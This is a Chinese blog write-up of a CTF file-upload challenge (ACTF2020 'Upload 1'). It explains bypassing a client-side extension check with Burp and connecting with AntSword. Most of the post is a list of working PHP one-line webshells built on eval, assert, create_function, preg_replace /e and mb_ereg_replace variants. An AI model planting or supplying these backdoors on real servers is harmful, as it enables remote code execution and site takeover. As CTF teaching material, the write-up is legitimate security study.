ACTF2020 新生赛 Upload 1

原创

xinjuun 于 2022-04-20 22:13:23 发布 1438 收藏

分类专栏： CTF 文章标签： 网络安全

本文链接：https://blog.csdn.net/qq_52715164/article/details/124308813

打开网页发现是个文件上传的页面，试着上传php文件，发现不行后，

尝试burp抓包，修改文件后缀，进行前端绕过，发现可行。

具体步骤如下：

1、书写一**句话木马**，例如：

eval和assert：

php任意代码执行的一句话后门，我们喜欢用的是传统的eval，php5，7通用。

```
<?php @eval($_GET["cmd"]); ?>
<?php @assert($_POST['a']) ?>
```

create_function和preg_replace函数：

create_function，它的作用是创建一个匿名函数，在内部也相当于执行了一次eval。php5，7都可用

```
<?php $st=@create_function('',$_POST['a']);$st();?>
```

/e修饰符，也就是大家熟知的preg_replace。这个则是真的php7用不了了，仅限php5。

```
<?php @preg_replace('/.*/e',$_POST['a'],'');?>
```

除了preg_replace之外，还有一个和它类似的函数。

```
<?php @preg_filter('/.*/e',$_POST['a'],'');?>
```

这两个都是仅限php5的，php7也想用这种方法怎么办呢？有办法，php并没有完全将/e修饰符赶尽杀绝。

```
<?php @mb_ereg_replace('.*',$_POST['a'],'','ee');?>
<?php @mb_eregi_replace('.*',$_POST['a'],'','ee');?>
```

它们甚至还有别名：

```
<?php @mbereg_replace('.*',$_POST['a'],'','ee');?>
<?php @mberegi_replace('.*',$_POST['a'],'','ee');?>
```

2、burp修把改文件后缀，把jpg改为html，

3、蚁剑连接，得flag

总结：

1、一句话木马

2、**为什么只能把后缀改为html**，尝试改为php会发现可以正常连接，但无法读取文件